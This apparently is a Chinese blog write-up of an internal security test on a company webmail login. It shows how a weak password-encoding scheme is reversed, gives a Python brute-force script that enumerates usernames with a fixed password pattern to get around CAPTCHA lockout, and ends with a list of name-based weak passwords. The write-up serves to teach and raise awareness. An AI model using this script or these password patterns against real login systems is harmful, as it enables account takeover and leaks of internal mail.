0x00前言 入职了公司安全部,就开始对我公司的各系统做一轮安全测试。界面如下:
公司使用的是第三方的邮件系统。
0x02登录加密分析
没有0day只能研究研究他的登录安全性,能破解几个弱口令也是可以的。测试时发现登录请求报文的用户名明文传输,密码做了加密
仔细观察发现,密码好像并不是什么加密。登录时我输入的用户名是testtest,密码是12345678,抓包,用户名为明文,密为:%24491%3B%24501%3B%24511%3B%24521%3B%24531%3B%24541%3B%24551%3B%24561%3B。将密码字段做url解码:
得到解码后的值为:$491;$501;$511;$521;$531;$541;$551;$561;
我输入的密码是:12345678
现在加密的值是:$491;$501;$511;$521;$531;$541;$551;561; 看了一会儿,似乎有点规律。经过仔细分析查看,将他们一一对应起来进行对比: ![image|639x83](upload://jAOlewR0klswtl43K8GAQCrHjek.png) 不难发现其中的规律,根据经验,1对应的ascii码为49, 2的ascii码为50。 以此类推,发现其中的加密算法为:将密码字符串1做ascii编码,然后用 "" + "49" + "1;" 拼接起来就是密码的加密算法。
1 –> $491; 2 –> $501;
A –> $651; a –> $971;
将用户输入的字符串做以上编码处理,然后向服务器发送请求。服务器会做相应的解码。然后一列的判断密码是否正确 。
经过测试发现,邮箱系统本身重置密码时已经做了弱密码检测:
但有些密码可以通过该弱口令规则,但仍属于 易破解密码
测试过程发现,同一个邮箱用户名连续输入错误密码三次就会弹出图片验证码:
此验证码是可以直接识别的,但这里不做深入研究
验证码作用是防止攻击者暴力破解。
综上,虽然有以上防弱口令、防爆破规则,但仍有漏网之鱼。收集一些公司同事姓名,有针对性的生成有些跟用户名相关的密码字典。就可以爆破出弱口令。
经过抓包分析,编写爆破程序:
#coding:utf-8
import requestsheader = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': 'http://mail.test.com/' }
n = 1
good = open('good.txt','a')
url = 'http://mail.test.com/xmweb?host=mail.test.com&_t=1530144631717'
with open('yonghuming.txt','r') as u:
for i in u:
password = i.strip().upper() + '123!@#'
c = ''
for j in password:
b = str(ord(j))
c += '$' + b + '1;'
jiami_pass = c
user = i.strip()
data = {'chr':'gb','func':'login','isp_domain':'','verifycookie':'','verifyip':'','buttonType':'1','usr':user,'domain':'test.com','domainType':'wm','encode':'on','username':user,'pass':jiami_pass}html = requests.post(url = url,data = data,headers = header).content if len(html) > 20000: print '[OK] user:' + user + '@test.com ---- password:' + password good.write('\n[OK] ' + user + '@test.com ---- password:' + password) else: n += 1 print str(n) + ':' + user + ':' + password
good.close()
虽然有连续输入三次密码错误验证码,但是攻击者可以固定密码格式去枚举用户名。
测试过程如下,爆破成功密码就把结果保存到本地。
通过几轮的测试,可以成功爆破出了很多强类型的“弱密码”账号。
例如:用户名为zhangwei,密码为Zhangwei123456
枚举出一些账号密码后,及时邮件通知了他们修改密码。
本次测试,只用了简单的密码模型就爆破出了几个邮箱账号,只要花点时间,测试一些高难度的密码,还会破解出跟多的账号密码。企业安全不容忽视。
0x03 后话
外部攻击者可以爆破邮箱密码,进入邮箱,查看公司内部文件、数据。造成信息泄露。
以下密码及类似密码均为弱密码或易破解密码:
以姓名为 张三 为例:
密码为:
zhangsan
zhangsan.
zhangsan123
zhangsan!@#
HANGSAN123
ZANGSAN123456
Zhangsan
ZHANGSAN
zhangsan123!@#
zhangsan!@#$%^
zhangsan123456
1qaz2wsx
1qaz2wsx3edc
!QAZ@WSX
!QAZ@WSX#EDC
ZhangSan
zhangsan520等等。。。